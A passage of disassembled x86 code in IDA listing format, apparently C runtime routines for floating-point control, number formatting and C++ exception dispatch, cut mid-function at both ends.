test eax, eax
jnz short loc_4215DB
push esi
call sub_4215FE
pop ecx
loc_4215DB: ; CODE XREF: sub_421576+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_421576+14j
push 0FFFFh
push [ebp+arg_20]
call sub_4217E9
push [ebp+arg_0]
call sub_4215FE
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421576 endp
; =============== S U B R O U T I N E =======================================
sub_4215FE proc near ; CODE XREF: sub_421014+7Dp
; sub_421576+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421619
jle short locret_421623
cmp eax, 3
jg short locret_421623
mov dword_4DB958, 22h
retn
; ---------------------------------------------------------------------------
loc_421619: ; CODE XREF: sub_4215FE+7j
mov dword_4DB958, 21h
locret_421623: ; CODE XREF: sub_4215FE+9j
; sub_4215FE+Ej
retn
sub_4215FE endp
; =============== S U B R O U T I N E =======================================
sub_421624 proc near ; CODE XREF: sub_421576+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43CE68
loc_42162B: ; CODE XREF: sub_421624+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421641
add eax, 8
inc ecx
cmp eax, offset dbl_43CF40
jl short loc_42162B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421641: ; CODE XREF: sub_421624+Dj
mov eax, off_43CE6C[ecx*8]
retn
sub_421624 endp
; =============== S U B R O U T I N E =======================================
sub_421649 proc near ; CODE XREF: sub_421014+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421655
push 5
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421655: ; CODE XREF: sub_421649+6j
test al, 8
jz short loc_42165D
push 1
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_42165D: ; CODE XREF: sub_421649+Ej
test al, 4
jz short loc_421665
push 2
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421665: ; CODE XREF: sub_421649+16j
test al, 1
jz short loc_42166D
push 3
loc_42166B: ; CODE XREF: sub_421649+Aj
; sub_421649+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: sub_421649+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421649 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421676(double)
sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp
; sub_41C7BF:loc_41C845p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421676 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421688(double,int)
sub_421688 proc near ; CODE XREF: sub_42170B+82p
; sub_42170B+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421688 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4216B1 proc near ; CODE XREF: sub_41C679+31p
; sub_41C7BF+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_4216C8
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 1
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216C8: ; CODE XREF: sub_4216B1+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_4216DA
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 2
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216DA: ; CODE XREF: sub_4216B1+11j
; sub_4216B1+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_4216ED
push 3
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216ED: ; CODE XREF: sub_4216B1+36j
cmp cx, 7FF0h
jnz short loc_421707
test [ebp+arg_4], 7FFFFh
jnz short loc_421702
cmp [ebp+arg_0], edx
jz short loc_421707
loc_421702: ; CODE XREF: sub_4216B1+4Aj
push 4
loc_421704: ; CODE XREF: sub_4216B1+15j
; sub_4216B1+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_4216B1+41j
; sub_4216B1+4Fj
xor eax, eax
pop ebp
retn
sub_4216B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42170B(double,int)
sub_42170B proc near ; CODE XREF: sub_42135F+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427878
push esi
fnstsw ax
sahf
jnz short loc_42172B
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_4217C1
; ---------------------------------------------------------------------------
loc_42172B: ; CODE XREF: sub_42170B+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42179A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421743
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42179A
loc_421743: ; CODE XREF: sub_42170B+31j
fld [ebp+arg_0]
fcomp dbl_427878
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_42175B
push 1
pop eax
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_42175B: ; CODE XREF: sub_42170B+49j
xor eax, eax
loc_42175D: ; CODE XREF: sub_42170B+4Ej
; sub_42170B+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_421776
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_421770
or dword ptr [ebp+arg_0+4], 1
loc_421770: ; CODE XREF: sub_42170B+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_421776: ; CODE XREF: sub_42170B+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_421784
or byte ptr [ebp+arg_0+7], 80h
loc_421784: ; CODE XREF: sub_42170B+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_4217C1
; ---------------------------------------------------------------------------
loc_42179A: ; CODE XREF: sub_42170B+28j
; sub_42170B+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_4217C1: ; CODE XREF: sub_42170B+1Bj
; sub_42170B+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_42170B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_4217CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217DA proc near ; CODE XREF: sub_4210AC+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_4217DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217E9 proc near ; CODE XREF: sub_41C679+13p
; sub_41C679+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_4217E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42180C proc near ; CODE XREF: sub_42135F+1Dp
; sub_42135F+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_421823
fld tbyte_43CF68
fistp [ebp+arg_0]
wait
loc_421823: ; CODE XREF: sub_42180C+Bj
test cl, 8
jz short loc_421838
fstsw ax
fld tbyte_43CF68
fstp [ebp+var_8]
wait
fstsw ax
loc_421838: ; CODE XREF: sub_42180C+1Aj
test cl, 10h
jz short loc_421847
fld tbyte_43CF74
fstp [ebp+var_8]
wait
loc_421847: ; CODE XREF: sub_42180C+2Fj
test cl, 4
jz short loc_421855
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_421855: ; CODE XREF: sub_42180C+3Ej
test cl, 20h
jz short locret_421860
fldpi
fstp [ebp+var_8]
wait
locret_421860: ; CODE XREF: sub_42180C+4Cj
leave
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421862 proc near ; CODE XREF: sub_41C748+Fp
push 30000h
push 10000h
call sub_424055
pop ecx
pop ecx
retn
sub_421862 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427888
fstp [ebp+var_8]
fld dbl_427880
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_427710
fnstsw ax
sahf
jbe short loc_4218AE
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4218AE: ; CODE XREF: sub_421874+33j
xor eax, eax
leave
retn
sub_421874 endp
; =============== S U B R O U T I N E =======================================
sub_4218B2 proc near ; CODE XREF: sub_41C748+5p
push offset aKernel32 ; "KERNEL32"
nop
call near ptr 2690126h
test eax, eax
jz short loc_4218D6
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 26B0000h
test eax, eax
jz short loc_4218D6
push 0
call eax ; sub_41C748
retn
; ---------------------------------------------------------------------------
loc_4218D6: ; CODE XREF: sub_4218B2+Dj
; sub_4218B2+1Dj
jmp sub_421874
sub_4218B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp
; DATA XREF: sub_41C760+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41D74C
cmp eax, 65h
pop ecx
jz short loc_42191B
loc_4218EF: ; CODE XREF: sub_4218DB+3Ej
inc esi
cmp dword_43CBE4, 1
jle short loc_421908
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_421917
; ---------------------------------------------------------------------------
loc_421908: ; CODE XREF: sub_4218DB+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43C9D8
mov al, [ecx+eax*2]
and eax, 4
loc_421917: ; CODE XREF: sub_4218DB+2Bj
test eax, eax
jnz short loc_4218EF
loc_42191B: ; CODE XREF: sub_4218DB+12j
mov cl, byte_43CBE8
mov al, [esi]
mov [esi], cl
inc esi
loc_421926: ; CODE XREF: sub_4218DB+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_421926
pop esi
retn
sub_4218DB endp
; =============== S U B R O U T I N E =======================================
sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p
; DATA XREF: sub_41C760+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43CBE8
mov cl, [eax]
test cl, cl
jz short loc_421951
loc_421945: ; CODE XREF: sub_421935+1Aj
cmp cl, dl
jz short loc_421951
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_421945
loc_421951: ; CODE XREF: sub_421935+Ej
; sub_421935+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_421982
loc_421958: ; CODE XREF: sub_421935+34j
mov cl, [eax]
test cl, cl
jz short loc_42196B
cmp cl, 65h
jz short loc_42196B
cmp cl, 45h
jz short loc_42196B
inc eax
jmp short loc_421958
; ---------------------------------------------------------------------------
loc_42196B: ; CODE XREF: sub_421935+27j
; sub_421935+2Cj ...
mov ecx, eax
loc_42196D: ; CODE XREF: sub_421935+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42196D
cmp [eax], dl
jnz short loc_421978
dec eax
loc_421978: ; CODE XREF: sub_421935+40j
; sub_421935+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_421978
locret_421982: ; CODE XREF: sub_421935+21j
retn
sub_421935 endp
; =============== S U B R O U T I N E =======================================
sub_421983 proc near ; DATA XREF: sub_41C760+28o
; ___:off_43CF90o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427878
fnstsw ax
sahf
jb short loc_421998
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_421998: ; CODE XREF: sub_421983+Fj
xor eax, eax
retn
sub_421983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42199B proc near ; CODE XREF: sub_420510+430p
; DATA XREF: sub_41C760+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_4219C4
lea eax, [ebp+var_8]
push eax
call sub_424518
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4219C4: ; CODE XREF: sub_42199B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424545
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42199B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219D9 proc near ; CODE XREF: sub_421C56+17p
; sub_421CA0+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DB9F0, 0
push ebx
push esi
jz short loc_421A0E
mov ebx, [ebp+arg_8]
mov eax, dword_4DB9EC
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_421CF1
pop ecx
pop ecx
jmp short loc_421A46
; ---------------------------------------------------------------------------
loc_421A0E: ; CODE XREF: sub_4219D9+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_4245E9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424572
add esp, 14h
loc_421A46: ; CODE XREF: sub_4219D9+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_421A52
mov byte ptr [eax], 2Dh
inc eax
loc_421A52: ; CODE XREF: sub_4219D9+73j
test ebx, ebx
jle short loc_421A6A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43CBE8
mov eax, edi
pop edi
mov [eax], cl
loc_421A6A: ; CODE XREF: sub_4219D9+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DB9F0, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41BEB0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_421A91
mov byte ptr [ecx], 45h
loc_421A91: ; CODE XREF: sub_4219D9+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_421AD6
mov ebx, [esi+4]
dec ebx
jns short loc_421AA5
neg ebx
mov byte ptr [ecx], 2Dh
loc_421AA5: ; CODE XREF: sub_4219D9+C5j
inc ecx
cmp ebx, 64h
jl short loc_421ABC
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421ABC: ; CODE XREF: sub_4219D9+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_421AD3
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421AD3: ; CODE XREF: sub_4219D9+E7j
add [ecx+1], bl
loc_421AD6: ; CODE XREF: sub_4219D9+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_4219D9 endp
; =============== S U B R O U T I N E =======================================
sub_421ADD proc near ; CODE XREF: sub_421C7D+13p
; sub_421CA0+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DB9F0, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_421B18
mov eax, dword_4DB9F4
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DB9EC
cmp eax, ebx
jnz short loc_421B48
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_421B48
; ---------------------------------------------------------------------------
loc_421B18: ; CODE XREF: sub_421ADD+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_4245E9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424572
add esp, 14h
loc_421B48: ; CODE XREF: sub_421ADD+22j
; sub_421ADD+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_421B56
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_421B56: ; CODE XREF: sub_421ADD+70j
mov eax, [esi+4]
test eax, eax
jg short loc_421B6D
push 1
push edi
call sub_421CF1
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_421B6F
; ---------------------------------------------------------------------------
loc_421B6D: ; CODE XREF: sub_421ADD+7Ej
add edi, eax
loc_421B6F: ; CODE XREF: sub_421ADD+8Ej
test ebx, ebx
jle short loc_421BB4
push 1
push edi
call sub_421CF1
mov al, byte_43CBE8
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_421BB4
cmp byte_4DB9F0, 0
jz short loc_421B99
neg esi
jmp short loc_421B9F
; ---------------------------------------------------------------------------
loc_421B99: ; CODE XREF: sub_421ADD+B6j
neg esi
cmp ebx, esi
jl short loc_421BA1
loc_421B9F: ; CODE XREF: sub_421ADD+BAj
mov ebx, esi
loc_421BA1: ; CODE XREF: sub_421ADD+C0j
push ebx
push edi
call sub_421CF1
push ebx
push 30h
push edi
call sub_41B590
add esp, 14h
loc_421BB4: ; CODE XREF: sub_421ADD+94j
; sub_421ADD+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_421ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BBB proc near ; CODE XREF: sub_421CA0+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_4245E9
mov dword_4DB9EC, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DB9F4, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424572
mov eax, dword_4DB9EC
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DB9F4, ecx
setl cl
mov byte_4DB9F8, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DB9F4, eax
jl short loc_421C41
cmp eax, ebx
jge short loc_421C41
test cl, cl
jz short loc_421C32
loc_421C28: ; CODE XREF: sub_421BBB+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_421C28
and [esi-2], al
loc_421C32: ; CODE XREF: sub_421BBB+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_421C7D
add esp, 0Ch
jmp short loc_421C51
; ---------------------------------------------------------------------------
loc_421C41: ; CODE XREF: sub_421BBB+63j
; sub_421BBB+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_421C56
add esp, 10h
loc_421C51: ; CODE XREF: sub_421BBB+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_421BBB endp
; =============== S U B R O U T I N E =======================================
sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DB9F0, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4219D9
and byte_4DB9F0, 0
add esp, 10h
retn
sub_421C56 endp
; =============== S U B R O U T I N E =======================================
sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DB9F0, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_421ADD
and byte_4DB9F0, 0
add esp, 0Ch
retn
sub_421C7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp
; DATA XREF: sub_41C760o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_421CDB
cmp [ebp+arg_8], 45h
jz short loc_421CDB
cmp [ebp+arg_8], 66h
jnz short loc_421CC8
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421ADD
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421CC8: ; CODE XREF: sub_421CA0+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421BBB
jmp short loc_421CEC
; ---------------------------------------------------------------------------
loc_421CDB: ; CODE XREF: sub_421CA0+7j
; sub_421CA0+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4219D9
loc_421CEC: ; CODE XREF: sub_421CA0+39j
add esp, 10h
pop ebp
retn
sub_421CA0 endp
; =============== S U B R O U T I N E =======================================
sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp
; sub_421ADD+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_421D14
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41AFE0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41CC90
add esp, 10h
pop esi
loc_421D14: ; CODE XREF: sub_421CF1+7j
pop edi
retn
sub_421CF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D16 proc near ; CODE XREF: ___:0041C940p
; sub_41C9A9+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_421D2C
call sub_4225B2
loc_421D2C: ; CODE XREF: sub_421D16+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_421D54
cmp dword ptr [esi+4], 0
jz short loc_421DAA
cmp [ebp+arg_14], 0
jnz short loc_421DAA
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_42205D
add esp, 10h
jmp short loc_421DAA
; ---------------------------------------------------------------------------
loc_421D54: ; CODE XREF: sub_421D16+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_421DAA
cmp dword ptr [eax], 0E06D7363h
jnz short loc_421D8E
cmp [eax+14h], edi
jbe short loc_421D8E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_421D8E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_421DAD
; ---------------------------------------------------------------------------
loc_421D8E: ; CODE XREF: sub_421D16+4Aj
; sub_421D16+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_421DB1
add esp, 20h
loc_421DAA: ; CODE XREF: sub_421D16+23j
; sub_421D16+29j ...
push 1
pop eax
loc_421DAD: ; CODE XREF: sub_421D16+76j
pop edi
pop esi
pop ebp
retn
sub_421D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_421DD1
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_421DD6
loc_421DD1: ; CODE XREF: sub_421DB1+16j
call sub_4225B2
loc_421DD6: ; CODE XREF: sub_421DB1+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
mov esi, dword_4DB9FC
test esi, esi
jz loc_421F28
mov eax, dword_4DBA00
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424770
pop ecx
test eax, eax
pop ecx
jnz short loc_421E2C
call sub_4225B2
loc_421E2C: ; CODE XREF: sub_421DB1+74j
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
call sub_4225B2
loc_421E4A: ; CODE XREF: sub_421DB1+41j
; sub_421DB1+46j ...
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz loc_421F2D
cmp [esi+14h], edi
jnz loc_421F2D
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CAF7
add esp, 14h
mov ebx, eax
loc_421E81: ; CODE XREF: sub_421DB1+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_421F18
cmp [ebx], edi
jg short loc_421F0D
cmp edi, [ebx+4]
jg short loc_421F0D
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_421F0A
loc_421EA6: ; CODE XREF: sub_421DB1+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_421ED7
loc_421EB8: ; CODE XREF: sub_421DB1+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_422000
add esp, 0Ch
